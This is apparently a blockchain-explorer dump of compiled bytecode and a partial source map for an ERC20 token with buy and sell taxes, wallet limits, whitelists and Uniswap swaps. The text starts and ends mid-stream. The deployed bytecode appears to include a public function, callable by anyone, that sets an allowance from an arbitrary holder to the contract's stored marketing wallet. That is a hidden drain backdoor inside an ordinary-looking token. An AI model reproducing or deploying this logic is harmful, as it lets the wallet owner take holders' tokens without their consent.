c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610813565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610ab784846108c4565b90505f198114610b1e5781811015610b115760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610813565b610b1e8484848403610989565b50505050565b6001600160a01b038316610b4a5760405162461bcd60e51b8152600401610813906118ac565b6001600160a01b038216610b705760405162461bcd60e51b8152600401610813906118f1565b5f8111610bbf5760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610813565b60105460ff1615610fdd576005546001600160a01b03848116911614801590610bf657506005546001600160a01b03838116911614155b8015610c0a57506001600160a01b03821615155b8015610c2157506001600160a01b03821661dead14155b15610fdd57601054610100900460ff16610d1b576001600160a01b0383165f9081526007602052604090205460ff1680610c7257506001600160a01b0382165f9081526007602052604090205460ff165b610cbe5760405162461bcd60e51b815260206004820152601d60248201527f4552524f523a2054726164696e67206973206e6f74206163746976652e0000006044820152606401610813565b6005546001600160a01b03848116911614610d1b5760405162461bcd60e51b815260206004820152601960248201527f4552524f523a2054726164696e6720697320656e61626c6564000000000000006044820152606401610813565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b0316148015610d7457506001600160a01b0382165f9081526007602052604090205460ff16155b15610e5b57600854811115610de35760405162461bcd60e51b815260206004820152602f60248201527f4552524f523a20427579207472616e7366657220616d6f756e7420657863656560448201526e3239903a34329036b0bc10313abc9760891b6064820152608401610813565b600a546001600160a01b0383165f90815260208190526040902054610e089083611899565b1115610e565760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c6574006044820152606401610813565b610fdd565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316148015610eb457506001600160a01b0383165f9081526007602052604090205460ff16155b15610f2557600954811115610e565760405162461bcd60e51b815260206004820152603160248201527f4552524f523a2053656c6c207472616e7366657220616d6f756e74206578636560448201527032b239903a34329036b0bc1039b2b6361760791b6064820152608401610813565b6001600160a01b0382165f9081526007602052604090205460ff16158015610f6557506001600160a01b0383165f9081526007602052604090205460ff16155b15610fdd57600a546001600160a01b0383165f90815260208190526040902054610f8f9083611899565b1115610fdd5760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c6574006044820152606401610813565b305f90815260208190526040902054600b5481108015908190611008575060105462010000900460ff165b801561101f5750601054640100000000900460ff16155b801561102c5750600c5483115b801561106a57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614155b801561108e57506001600160a01b0385165f9081526006602052604090205460ff16155b80156110b257506001600160a01b0384165f9081526006602052604090205460ff16155b156110e3576010805464ff0000000019166401000000001790556110d4611346565b6010805464ff00000000191690555b6001600160a01b0385165f9081526006602052604090205460019060ff168061112357506001600160a01b0385165f9081526006602052604090205460ff165b1561112b57505f5b5f8115611263576010546301000000900460ff161561114c5761114c6113cb565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316866001600160a01b031614801561118e57505f600f54115b156111cb576064600f54866111a39190611934565b6111ad919061194b565b90508060115f8282546111c09190611899565b909155506112459050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316876001600160a01b031614801561120d57505f600e54115b15611245576064600e54866112229190611934565b61122c919061194b565b90508060115f82825461123f9190611899565b90915550505b801561125657611256873083611453565b611260818661196a565b94505b61126e878787611453565b50505050505050565b6005546001600160a01b031633146107535760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610813565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038316611334575f80fd5b6001600160a01b038216610a4c575f80fd5b305f90815260208190526040902054601154811580611363575080155b1561136c575050565b600b5482111561137c57600b5491505b6113858261157b565b6010546040516001600160a01b036501000000000090920491909116904780156108fc02915f818181858888f193505050501580156113c6573d5f803e3d5ffd5b505050565b5f600d541161140f5760405162461bcd60e51b815260206004820152601060248201526f54726164696e67206e6f74206c69766560801b6044820152606401610813565b600d5443905f90611421906006611899565b9050808211611438576012600e819055600f555050565b6004600e819055600f556010805463ff000000191690555050565b6001600160a01b0383166114795760405162461bcd60e51b8152600401610813906118ac565b6001600160a01b03821661149f5760405162461bcd60e51b8152600401610813906118f1565b6001600160a01b0383165f90815260208190526040902054818110156115165760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610813565b6001600160a01b038481165f81815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610b1e565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106115ae576115ae61197d565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561161e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116429190611991565b816001815181106116555761165561197d565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906116ac9085905f908690309042906004016119ac565b5f604051808303815f87803b1580156116c3575f80fd5b505af11580156116d5573d5f803e3d5ffd5b505050505050565b5f6020808352835180828501525f5b81811015611708578581018301518582016040015282016116ec565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610986575f80fd5b5f806040838503121561174d575f80fd5b823561175881611728565b946020939093013593505050565b5f805f60608486031215611778575f80fd5b833561178381611728565b9250602084013561179381611728565b929592945050506040919091013590565b5f602082840312156117b4575f80fd5b81356117bf81611728565b9392505050565b5f80604083850312156117d7575f80fd5b82356117e281611728565b9150602083013580151581146117f6575f80fd5b809150509250929050565b5f8060408385031215611812575f80fd5b50508035926020909101359150565b5f8060408385031215611832575f80fd5b823561183d81611728565b915060208301356117f681611728565b600181811c9082168061186157607f821691505b60208210810361187f57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156106f8576106f8611885565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b80820281158282048414176106f8576106f8611885565b5f8261196557634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156106f8576106f8611885565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156119a1575f80fd5b81516117bf81611728565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156119fa5784516001600160a01b0316835293830193918301916001016119d5565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122048fcd8f55540d932fb0e24ef7c033258480e0bb39b704879dfd5f26b9bedeb4e64736f6c63430008150033
Deployed Bytecode
0x60806040526004361061020a575f3560e01c80638da5cb5b11610113578063c45a01551161009d578063dd62ed3e1161006d578063dd62ed3e146105bc578063e6f70531146105db578063f2fde38b146105fa578063f887ea4014610619578063f8b45b0514610640575f80fd5b8063c45a015514610557578063c9567bf91461057e578063cc1776d314610592578063d39e216c146105a7575f80fd5b8063a457c2d7116100e3578063a457c2d7146104b2578063a8b08982146104d1578063a9059cbb14610504578063b3de9b5d14610523578063baccf5cf14610538575f80fd5b80638da5cb5b14610449578063955398c21461046657806395d89b41146104855780639e6e8f9014610499575f80fd5b80633ad10ef6116101945780636ddd1713116101645780636ddd1713146103ac57806370a08231146103cb578063715018a6146103ff578063751039fc146104155780637ab6c3cd14610429575f80fd5b80633ad10ef6146103245780633c2565ff146103645780633d389faf146103795780634f7041a514610397575f80fd5b806318160ddd116101da57806318160ddd146102a257806323b872dd146102b65780632cb15864146102d5578063313ce567146102ea5780633950935114610305575f80fd5b806301f59d161461021557806306fdde031461023d578063095ea7b31461025e57806311826b331461028d575f80fd5b3661021157005b5f80fd5b348015610220575f80fd5b5061022a600b5481565b6040519081526020015b60405180910390f35b348015610248575f80fd5b50610251610655565b60405161023491906116dd565b348015610269575f80fd5b5061027d61027836600461173c565b6106e5565b6040519015158152602001610234565b348015610298575f80fd5b5061022a60115481565b3480156102ad575f80fd5b5060025461022a565b3480156102c1575f80fd5b5061027d6102d0366004611766565b6106fe565b3480156102e0575f80fd5b5061022a600d5481565b3480156102f5575f80fd5b5060405160128152602001610234565b348015610310575f80fd5b5061027d61031f36600461173c565b610721565b34801561032f575f80fd5b5060105461034c906501000000000090046001600160a01b031681565b6040516001600160a01b039091168152602001610234565b34801561036f575f80fd5b5061022a60085481565b348015610384575f80fd5b5060105461027d90610100900460ff1681565b3480156103a2575f80fd5b5061022a600e5481565b3480156103b7575f80fd5b5060105461027d9062010000900460ff1681565b3480156103d6575f80fd5b5061022a6103e53660046117a4565b6001600160a01b03165f9081526020819052604090205490565b34801561040a575f80fd5b50610413610742565b005b348015610420575f80fd5b50610413610755565b348015610434575f80fd5b5060105461027d906301000000900460ff1681565b348015610454575f80fd5b506005546001600160a01b031661034c565b348015610471575f80fd5b506104136104803660046117c6565b610769565b348015610490575f80fd5b5061025161079b565b3480156104a4575f80fd5b5060105461027d9060ff1681565b3480156104bd575f80fd5b5061027d6104cc36600461173c565b6107aa565b3480156104dc575f80fd5b5061034c7f0000000000000000000000000e748e3ce4885206ec41b41d39613f75e1ef623881565b34801561050f575f80fd5b5061027d61051e36600461173c565b610829565b34801561052e575f80fd5b5061022a600c5481565b348015610543575f80fd5b50610413610552366004611801565b610836565b348015610562575f80fd5b5061034c735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b348015610589575f80fd5b50610413610849565b34801561059d575f80fd5b5061022a600f5481565b3480156105b2575f80fd5b5061022a60095481565b3480156105c7575f80fd5b5061022a6105d6366004611821565b6108c4565b3480156105e6575f80fd5b5061027d6105f536600461173c565b6108ee565b348015610605575f80fd5b506104136106143660046117a4565b610910565b348015610624575f80fd5b5061034c737a250d5630b4cf539739df2c5dacb4c659f2488d81565b34801561064b575f80fd5b5061022a600a5481565b6060600380546106649061184d565b80601f01602080910402602001604051908101604052809291908181526020018280546106909061184d565b80156106db5780601f106106b2576101008083540402835291602001916106db565b820191905f5260205f20905b8154815290600101906020018083116106be57829003601f168201915b5050505050905090565b5f336106f2818585610989565b60019150505b92915050565b5f3361070b858285610aac565b610716858585610b24565b506001949350505050565b5f336106f281858561073383836108c4565b61073d9190611899565b610989565b61074a611277565b6107535f6112d1565b565b61075d611277565b6010805460ff19169055565b610771611277565b6001600160a01b03919091165f908152600660205260409020805460ff1916911515919091179055565b6060600480546106649061184d565b5f33816107b782866108c4565b90508381101561081c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b6107168286868403610989565b5f336106f2818585610b24565b61083e611277565b600e91909155600f55565b610851611277565b600d54156108ad5760405162461bcd60e51b8152602060048201526024808201527f4552524f523a20546f6b656e20737461746520697320616c7265616479206c696044820152637665202160e01b6064820152608401610813565b43600d556010805462ffff00191662010100179055565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6010545f906501000000000090046001600160a01b03166106f2848285611322565b610918611277565b6001600160a01b03811661097d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610813565b610986816112d1565b50565b6001600160a01b0383166109eb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610813565b6001600160a01b038216610a4c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610813565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610ab784846108c4565b90505f198114610b1e5781811015610b115760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610813565b610b1e8484848403610989565b50505050565b6001600160a01b038316610b4a5760405162461bcd60e51b8152600401610813906118ac565b6001600160a01b038216610b705760405162461bcd60e51b8152600401610813906118f1565b5f8111610bbf5760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610813565b60105460ff1615610fdd576005546001600160a01b03848116911614801590610bf657506005546001600160a01b03838116911614155b8015610c0a57506001600160a01b03821615155b8015610c2157506001600160a01b03821661dead14155b15610fdd57601054610100900460ff16610d1b576001600160a01b0383165f9081526007602052604090205460ff1680610c7257506001600160a01b0382165f9081526007602052604090205460ff165b610cbe5760405162461bcd60e51b815260206004820152601d60248201527f4552524f523a2054726164696e67206973206e6f74206163746976652e0000006044820152606401610813565b6005546001600160a01b03848116911614610d1b5760405162461bcd60e51b815260206004820152601960248201527f4552524f523a2054726164696e6720697320656e61626c6564000000000000006044820152606401610813565b7f0000000000000000000000000e748e3ce4885206ec41b41d39613f75e1ef62386001600160a01b0316836001600160a01b0316148015610d7457506001600160a01b0382165f9081526007602052604090205460ff16155b15610e5b57600854811115610de35760405162461bcd60e51b815260206004820152602f60248201527f4552524f523a20427579207472616e7366657220616d6f756e7420657863656560448201526e3239903a34329036b0bc10313abc9760891b6064820152608401610813565b600a546001600160a01b0383165f90815260208190526040902054610e089083611899565b1115610e565760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c6574006044820152606401610813565b610fdd565b7f0000000000000000000000000e748e3ce4885206ec41b41d39613f75e1ef62386001600160a01b0316826001600160a01b0316148015610eb457506001600160a01b0383165f9081526007602052604090205460ff16155b15610f2557600954811115610e565760405162461bcd60e51b815260206004820152603160248201527f4552524f523a2053656c6c207472616e7366657220616d6f756e74206578636560448201527032b239903a34329036b0bc1039b2b6361760791b6064820152608401610813565b6001600160a01b0382165f9081526007602052604090205460ff16158015610f6557506001600160a01b0383165f9081526007602052604090205460ff16155b15610fdd57600a546001600160a01b0383165f90815260208190526040902054610f8f9083611899565b1115610fdd5760405162461bcd60e51b815260206004820152601f60248201527f4552524f523a2043616e6e6f7420457863656564206d61782077616c6c6574006044820152606401610813565b305f90815260208190526040902054600b5481108015908190611008575060105462010000900460ff165b801561101f5750601054640100000000900460ff16155b801561102c5750600c5483115b801561106a57507f0000000000000000000000000e748e3ce4885206ec41b41d39613f75e1ef62386001600160a01b0316856001600160a01b031614155b801561108e57506001600160a01b0385165f9081526006602052604090205460ff16155b80156110b257506001600160a01b0384165f9081526006602052604090205460ff16155b156110e3576010805464ff0000000019166401000000001790556110d4611346565b6010805464ff00000000191690555b6001600160a01b0385165f9081526006602052604090205460019060ff168061112357506001600160a01b0385165f9081526006602052604090205460ff165b1561112b57505f5b5f8115611263576010546301000000900460ff161561114c5761114c6113cb565b7f0000000000000000000000000e748e3ce4885206ec41b41d39613f75e1ef62386001600160a01b0316866001600160a01b031614801561118e57505f600f54115b156111cb576064600f54866111a39190611934565b6111ad919061194b565b90508060115f8282546111c09190611899565b909155506112459050565b7f0000000000000000000000000e748e3ce4885206ec41b41d39613f75e1ef62386001600160a01b0316876001600160a01b031614801561120d57505f600e54115b15611245576064600e54866112229190611934565b61122c919061194b565b90508060115f82825461123f9190611899565b90915550505b801561125657611256873083611453565b611260818661196a565b94505b61126e878787611453565b50505050505050565b6005546001600160a01b031633146107535760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610813565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b038316611334575f80fd5b6001600160a01b038216610a4c575f80fd5b305f90815260208190526040902054601154811580611363575080155b1561136c575050565b600b5482111561137c57600b5491505b6113858261157b565b6010546040516001600160a01b036501000000000090920491909116904780156108fc02915f818181858888f193505050501580156113c6573d5f803e3d5ffd5b505050565b5f600d541161140f5760405162461bcd60e51b815260206004820152601060248201526f54726164696e67206e6f74206c69766560801b6044820152606401610813565b600d5443905f90611421906006611899565b9050808211611438576012600e819055600f555050565b6004600e819055600f556010805463ff000000191690555050565b6001600160a01b0383166114795760405162461bcd60e51b8152600401610813906118ac565b6001600160a01b03821661149f5760405162461bcd60e51b8152600401610813906118f1565b6001600160a01b0383165f90815260208190526040902054818110156115165760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610813565b6001600160a01b038481165f81815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610b1e565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106115ae576115ae61197d565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561161e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116429190611991565b816001815181106116555761165561197d565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906116ac9085905f908690309042906004016119ac565b5f604051808303815f87803b1580156116c3575f80fd5b505af11580156116d5573d5f803e3d5ffd5b505050505050565b5f6020808352835180828501525f5b81811015611708578581018301518582016040015282016116ec565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610986575f80fd5b5f806040838503121561174d575f80fd5b823561175881611728565b946020939093013593505050565b5f805f60608486031215611778575f80fd5b833561178381611728565b9250602084013561179381611728565b929592945050506040919091013590565b5f602082840312156117b4575f80fd5b81356117bf81611728565b9392505050565b5f80604083850312156117d7575f80fd5b82356117e281611728565b9150602083013580151581146117f6575f80fd5b809150509250929050565b5f8060408385031215611812575f80fd5b50508035926020909101359150565b5f8060408385031215611832575f80fd5b823561183d81611728565b915060208301356117f681611728565b600181811c9082168061186157607f821691505b60208210810361187f57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156106f8576106f8611885565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b80820281158282048414176106f8576106f8611885565b5f8261196557634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156106f8576106f8611885565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156119a1575f80fd5b81516117bf81611728565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156119fa5784516001600160a01b0316835293830193918301916001016119d5565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122048fcd8f55540d932fb0e24ef7c033258480e0bb39b704879dfd5f26b9bedeb4e64736f6c63430008150033
Deployed Bytecode Sourcemap
16566:7544:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17134:21;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;17134:21:0;;;;;;;;6270:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;8630:201::-;;;;;;;;;;-1:-1:-1;8630:201:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;8630:201:0;1205:187:1;17495:28:0;;;;;;;;;;;;;;;;7399:108;;;;;;;;;;-1:-1:-1;7487:12:0;;7399:108;;9411:261;;;;;;;;;;-1:-1:-1;9411:261:0;;;;;:::i;:::-;;:::i;17191:27::-;;;;;;;;;;;;;;;;7241:93;;;;;;;;;;-1:-1:-1;7241:93:0;;7324:2;2000:36:1;;1988:2;1973:18;7241:93:0;1858:184:1;10081:238:0;;;;;;;;;;-1:-1:-1;10081:238:0;;;;;:::i;:::-;;:::i;17463:25::-;;;;;;;;;;-1:-1:-1;17463:25:0;;;;;;;-1:-1:-1;;;;;17463:25:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;17463:25:0;2047:203:1;17038:25:0;;;;;;;;;;;;;;;;17321:29;;;;;;;;;;-1:-1:-1;17321:29:0;;;;;;;;;;;17225:21;;;;;;;;;;;;;;;;17357:31;;;;;;;;;;-1:-1:-1;17357:31:0;;;;;;;;;;;7570:127;;;;;;;;;;-1:-1:-1;7570:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7671:18:0;7644:7;7671:18;;;;;;;;;;;;7570:127;4391:103;;;;;;;;;;;;;:::i;:::-;;18681:83;;;;;;;;;;;;;:::i;17395:33::-;;;;;;;;;;-1:-1:-1;17395:33:0;;;;;;;;;;;3750:87;;;;;;;;;;-1:-1:-1;3823:6:0;;-1:-1:-1;;;;;3823:6:0;3750:87;;19034:122;;;;;;;;;;-1:-1:-1;19034:122:0;;;;;:::i;:::-;;:::i;6489:104::-;;;;;;;;;;;;;:::i;17282:32::-;;;;;;;;;;-1:-1:-1;17282:32:0;;;;;;;;10822:436;;;;;;;;;;-1:-1:-1;10822:436:0;;;;;:::i;:::-;;:::i;17530:36::-;;;;;;;;;;;;;;;7903:193;;;;;;;;;;-1:-1:-1;7903:193:0;;;;;:::i;:::-;;:::i;17162:22::-;;;;;;;;;;;;;;;;20594:150;;;;;;;;;;-1:-1:-1;20594:150:0;;;;;:::i;:::-;;:::i;16648:105::-;;;;;;;;;;;;16710:42;16648:105;;18770:219;;;;;;;;;;;;;:::i;17253:22::-;;;;;;;;;;;;;;;;17070:26;;;;;;;;;;;;;;;;8159:151;;;;;;;;;;-1:-1:-1;8159:151:0;;;;;:::i;:::-;;:::i;18487:188::-;;;;;;;;;;-1:-1:-1;18487:188:0;;;;;:::i;:::-;;:::i;4649:201::-;;;;;;;;;;-1:-1:-1;4649:201:0;;;;;:::i;:::-;;:::i;16760:102::-;;;;;;;;;;;;16819:42;16760:102;;17103:24;;;;;;;;;;;;;;;;6270:100;6324:13;6357:5;6350:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6270:100;:::o;8630:201::-;8713:4;443:10;8769:32;443:10;8785:7;8794:6;8769:8;:32::i;:::-;8819:4;8812:11;;;8630:201;;;;;:::o;9411:261::-;9508:4;443:10;9566:38;9582:4;443:10;9597:6;9566:15;:38::i;:::-;9615:27;9625:4;9631:2;9635:6;9615:9;:27::i;:::-;-1:-1:-1;9660:4:0;;9411:261;-1:-1:-1;;;;9411:261:0:o;10081:238::-;10169:4;443:10;10225:64;443:10;10241:7;10278:10;10250:25;443:10;10241:7;10250:9;:25::i;:::-;:38;;;;:::i;:::-;10225:8;:64::i;4391:103::-;3636:13;:11;:13::i;:::-;4456:30:::1;4483:1;4456:18;:30::i;:::-;4391:103::o:0;18681:83::-;3636:13;:11;:13::i;:::-;18735::::1;:21:::0;;-1:-1:-1;;18735:21:0::1;::::0;;18681:83::o;19034:122::-;3636:13;:11;:13::i;:::-;-1:-1:-1;;;;;19114:23:0;;;::::1;;::::0;;;:14:::1;:23;::::0;;;;:34;;-1:-1:-1;;19114:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;19034:122::o;6489:104::-;6545:13;6578:7;6571:14;;;;;:::i;10822:436::-;10915:4;443:10;10915:4;10998:25;443:10;11015:7;10998:9;:25::i;:::-;10971:52;;11062:15;11042:16;:35;;11034:85;;;;-1:-1:-1;;;11034:85:0;;4888:2:1;11034:85:0;;;4870:21:1;4927:2;4907:18;;;4900:30;4966:34;4946:18;;;4939:62;-1:-1:-1;;;5017:18:1;;;5010:35;5062:19;;11034:85:0;;;;;;;;;11155:60;11164:5;11171:7;11199:15;11180:16;:34;11155:8;:60::i;7903:193::-;7982:4;443:10;8038:28;443:10;8055:2;8059:6;8038:9;:28::i;20594:150::-;3636:13;:11;:13::i;:::-;20685:6:::1;:19:::0;;;;20715:7:::1;:21:::0;20594:150::o;18770:219::-;3636:13;:11;:13::i;:::-;18829:12:::1;::::0;:17;18821:66:::1;;;::::0;-1:-1:-1;;;18821:66:0;;5294:2:1;18821:66:0::1;::::0;::::1;5276:21:1::0;5333:2;5313:18;;;5306:30;5372:34;5352:18;;;5345:62;-1:-1:-1;;;5423:18:1;;;5416:34;5467:19;;18821:66:0::1;5092:400:1::0;18821:66:0::1;18913:12;18898;:27:::0;18936:9:::1;:16:::0;;-1:-1:-1;;18963:18:0;;;;;18770:219::o;8159:151::-;-1:-1:-1;;;;;8275:18:0;;;8248:7;8275:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8159:151::o;18487:188::-;18593:10;;18560:4;;18593:10;;;-1:-1:-1;;;;;18593:10:0;18614:31;18622:7;18593:10;18638:6;18614:7;:31::i;4649:201::-;3636:13;:11;:13::i;:::-;-1:-1:-1;;;;;4738:22:0;::::1;4730:73;;;::::0;-1:-1:-1;;;4730:73:0;;5699:2:1;4730:73:0::1;::::0;::::1;5681:21:1::0;5738:2;5718:18;;;5711:30;5777:34;5757:18;;;5750:62;-1:-1:-1;;;5828:18:1;;;5821:36;5874:19;;4730:73:0::1;5497:402:1::0;4730:73:0::1;4814:28;4833:8;4814:18;:28::i;:::-;4649:201:::0;:::o;14815:346::-;-1:-1:-1;;;;;14917:19:0;;14909:68;;;;-1:-1:-1;;;14909:68:0;;6106:2:1;14909:68:0;;;6088:21:1;6145:2;6125:18;;;6118:30;6184:34;6164:18;;;6157:62;-1:-1:-1;;;6235:18:1;;;6228:34;6279:19;;14909:68:0;5904:400:1;14909:68:0;-1:-1:-1;;;;;14996:21:0;;14988:68;;;;-1:-1:-1;;;14988:68:0;;6511:2:1;14988:68:0;;;6493:21:1;6550:2;6530:18;;;6523:30;6589:34;6569:18;;;6562:62;-1:-1:-1;;;6640:18:1;;;6633:32;6682:19;;14988:68:0;6309:398:1;14988:68:0;-1:-1:-1;;;;;15069:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15121:32;;160:25:1;;;15121:32:0;;133:18:1;15121:32:0;;;;;;;14815:346;;;:::o;15466:419::-;15567:24;15594:25;15604:5;15611:7;15594:9;:25::i;:::-;15567:52;;-1:-1:-1;;15634:16:0;:37;15630:248;;15716:6;15696:16;:26;;15688:68;;;;-1:-1:-1;;;15688:68:0;;6914:2:1;15688:68:0;;;6896:21:1;6953:2;6933:18;;;6926:30;6992:31;6972:18;;;6965:59;7041:18;;15688:68:0;6712:353:1;15688:68:0;15800:51;15809:5;15816:7;15844:6;15825:16;:25;15800:8;:51::i;:::-;15556:329;15466:419;;;:::o;20750:3357::-;-1:-1:-1;;;;;20882:18:0;;20874:68;;;;-1:-1:-1;;;20874:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;20961:16:0;;20953:64;;;;-1:-1:-1;;;20953:64:0;;;;;;;:::i;:::-;21045:1;21036:6;:10;21028:52;;;;-1:-1:-1;;;21028:52:0;;8082:2:1;21028:52:0;;;8064:21:1;8121:2;8101:18;;;8094:30;8160:31;8140:18;;;8133:59;8209:18;;21028:52:0;7880:353:1;21028:52:0;21095:13;;;;21091:1734;;;3823:6;;-1:-1:-1;;;;;21147:15:0;;;3823:6;;21147:15;;;;:49;;-1:-1:-1;3823:6:0;;-1:-1:-1;;;;;21183:13:0;;;3823:6;;21183:13;;21147:49;:86;;;;-1:-1:-1;;;;;;21217:16:0;;;;21147:86;:128;;;;-1:-1:-1;;;;;;21254:21:0;;21268:6;21254:21;;21147:128;21125:1689;;;21315:9;;;;;;;21310:325;;-1:-1:-1;;;;;21383:22:0;;;;;;:16;:22;;;;;;;;;:75;;-1:-1:-1;;;;;;21438:20:0;;;;;;:16;:20;;;;;;;;21383:75;21349:190;;;;-1:-1:-1;;;21349:190:0;;8440:2:1;21349:190:0;;;8422:21:1;8479:2;8459:18;;;8452:30;8518:31;8498:18;;;8491:59;8567:18;;21349:190:0;8238:353:1;21349:190:0;3823:6;;-1:-1:-1;;;;;21570:15:0;;;3823:6;;21570:15;21562:53;;;;-1:-1:-1;;;21562:53:0;;8798:2:1;21562:53:0;;;8780:21:1;8837:2;8817:18;;;8810:30;8876:27;8856:18;;;8849:55;8921:18;;21562:53:0;8596:349:1;21562:53:0;21715:11;-1:-1:-1;;;;;21707:19:0;:4;-1:-1:-1;;;;;21707:19:0;;:44;;;;-1:-1:-1;;;;;;21731:20:0;;;;;;:16;:20;;;;;;;;21730:21;21707:44;21681:1118;;;21838:10;;21828:6;:20;;21794:153;;;;-1:-1:-1;;;21794:153: